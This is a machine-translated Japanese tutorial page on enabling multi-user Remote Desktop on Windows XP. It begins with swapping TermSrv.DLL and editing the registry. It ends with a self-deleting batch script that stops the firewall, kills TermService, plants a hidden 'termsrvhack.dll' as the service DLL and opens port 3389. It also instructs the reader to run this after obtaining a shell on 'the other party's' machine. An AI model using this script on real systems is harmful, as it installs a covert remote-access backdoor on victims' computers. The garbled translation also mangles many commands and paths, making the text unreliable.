Windows system >> Windowsの知識 >  >> Windows XPシステムチュートリアル >> XPシステムの基本 >> コンピュータをプレイするXPのマルチユーザー方法

コンピュータをプレイするXPのマルチユーザー方法

  
Technologeeko         

最初のステップ:まず、公式のSP2バージョンをWindows XPにインストールし、それを通常の方法でインストールするので、ここでは詳しく説明しません。

ステップ2:以前のバージョンのSP2ターミナルサーバーソフトウェアを準備する(この機能はBuild 2082以降は使用できないため、前のバージョンを使用するのが最善です)、中国のSP2テストバージョンは見つけるのがより困難です。私はBuild 2055の英語版を使いましたが、実行しても問題は見つかりませんでした。これはhttp://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act "target =" _blank "> http://www.msfn.org/board/index.PHP?s =から実行できます。 8 ... c99733154ae685f& act

=添付& type = post& id = 161513 Build 2055のターミナルサーバーの実行ファイルTermSrv.DLLをダウンロードします。このリンクからダウンロードされるファイルは.DL_の拡張子です。ファイル、拡張子をZIPファイルに変更してからWinRARを使用してロックを解除することができます。

手順3:次にWindows XPをセーフモードで起動します。複数のオペレーティングシステムがある場合は、起動できます。 Windows XPシステムパーティションにアクセスできる別のシステム(サードパーティ製のツールソフトウェアがインストールされていない限り、Windows 98はNTFSパーティションにアクセスできないため、Windows 98は使用できない場合があります)。その後、Windows XPのSP2正式バージョンのTermSrv.DLLファイルがすべてバックアップされます。すべてのTermSrv.DLLファイルが表示される場所には、Build 2055バージョンのTermSrv.DLLで上書きされます通常、TermSrv.DLLは少なくとも2つの場所(\\ Windows \\ system32、\\ Windows \\ system32 \\ dllcache)にあります。 TermSrv.DLLがある場合は、Bを使用します。この記事はhttp://bianceng.cnで公開されています(学習用コンピュータ)

手順4:システムのファイル保護機能によってTermSrvが起動された場合は、Windows XPを通常モードで起動します。

手順5:ターミナルサーバーのマルチユーザーライセンスを増やすためにレジストリを変更するレジストリを変更するのは面倒でエラーが発生しやすいです。次のバッチコマンドを使用してレジストリを変更できます。

@echo off

setlocal

set regkey = "HKLM \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminal Server \\ Licensing Core "

reg add%regkey%/v EnableConcurrentSessions /T REG_DWord /D 1 /f

endlocal

上記をAAなどのバッチコマンドファイルとして保存します。 BATをダブルクリックして実行します。

このやり方はお勧めできません。ロックするのは面倒です。システムを再起動する必要があります。再起動せずにXPマルチユーザーログインを有効にするバッチファイルを書くことができます最初に、レジストリ操作のためのコマンドパラメータを理解しましょう:

REG ADD KeyName [/v ValueName /ve] [ ,null,null,3],/tタイプ] [/s区切り記号] [/dデータ] [/f]

KeyName [\\\\ Machine \\] FullKey

マシンリモートマシン名 - 現在のマシンのデフォルトを無視します。リモートマシンの場合

HKLMとHKUのみ。

フルキールートキー\\サブキー

ルートキー[HKLM HKCU HKCR HKU HKCC]

サブキー選択したルートキーの下にあるレジストリキーのフルネーム。

/vオプションの下に追加される値の名前。

/veレジストリキーに空白の値の名前(既定値)を追加します。

/t RegKeyデータ型

[REG_SZ REG_MULTI_SZ REG_EXPAND_SZ

REG_DWORD REG_BINARY REG_NONE]

省略した場合、REG_SZが使用されます。

/s REG_MULTI_SZデータ文字列の区切り文字として使用する文字を指定します。

省略した場合、 "\\ 0"が区切り文字として使用されます。

/d追加されたレジストリValueNameに割り当てられるデータ。

/fプロンプトを表示せずに既存のレジストリエントリを強制的に上書きします。

例:

REG ADD \\\\ ABC \\ HKLM \\ Software \\ MyCo

リモートマシンにレジストリキーを追加するABC HKLM \\ Software \\ MyCo

REG ADD HKLM \\ソフトウェア\\ MyCo /vデータ/t REG_BINARY /d fe340ead

値を追加します(名前:Data、タイプ:REG_BINARY、データ:fe340ead)

REG ADD HKLM \\ Software \\ MyCo /v MRU /t REG_MULTI_SZ /d fax \\ 0mail

値を追加する(名前:MRU、タイプ:REG_MUTLI_SZ、データ:fax \\ 0mail \\ 0 \\ 0)

REG ADD HKLM \\ Software \\ MyCo /vパス/t REG_EXPAND_SZ /d ^%systemroot ^%

値を追加します(名前:Path、タイプ:REG_EXPAND_SZ、データ:%systemroot%)

注:拡張文字列でキャレット(^)を使用する
システムが再起動しないようにするために、shutdown -aコマンドを使用できます。

上記の情報によると、システムを再起動せずにXPシステムのマルチユーザーログインを実現するためのバッチを作成できます。

コードは次のとおりです。

@echo off

@net stop sharedAccess

@ntsd -cq -p "pid"

@ HKLM \\ SOFTWARE \\ Microsoft \\ Windows NT "NT \\ CurrentVersion \\ Winlogon /v KeepRASConnections /t REG_SZ /d 1 /fを追加します。

@reg HKLM \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminalを追加します。 fDenyTSConnections /t REG_DWord /d 00000000 /f

@reg HKLM¥SYSTEM¥CurrentControlSet¥control¥terminal "" server¥Licensing "" Core /v EnableConcurrentSessions /t REG_DWord /d 00000001 /f

@reg HKLM¥SYSTEM¥CurrentControlSet¥Services¥TermService¥Parameters¥v serviceDll /t REG_EXPAND_SZ /d%SystemRoot%¥system32¥termsrvhack.dll /f

@copy c:¥termsrvhack.dll c :\\ Windows \\ system32 \\ dllcache \\ termsrvhack.dll

@属性+ h + s + rc:\\ Windows \\ system32 \\ dllcache \\ termsrvhack.dll

@copy c:\\ termsrvhack.dll c:\\ Windows \\ system32 \\ termsrvhack.dll

@属性+ h + s + rc:\\ Windows \\ system32 \\ termsrvhack.dll

@shutdown -a

@ Del c:\\ termsrvhack.dll

@net start termservice

@del c:\\ 3389.bat

ここで、 "pid"はTermServiceサービスで置き換えられるPID番号です。これは、tasklist /svcコマンドで取得できます。もちろん、win2000以降のシステムにはtasklistコマンドがありません。

具体的な操作方法は、まず相手のSHELLを入手し、次にサードパーティのソフトウェアを使ってシェルの下でターミナルサービスを開き、最初にデフォルトの3389ポートを変更しないでください。そうでない場合はログイン前に再起動します。またはスーパー管理者ユーザーを複製します。

次に、ダウンロードしたtermsrvhack.dllと上記のバッチを他のCドライブのルートディレクトリにダウンロードし、シェルで実行します。迅速な成功をお約束します!

前回、3389の端末ログインでランダーを開けます!


Copyright © Windowsの知識 All Rights Reserved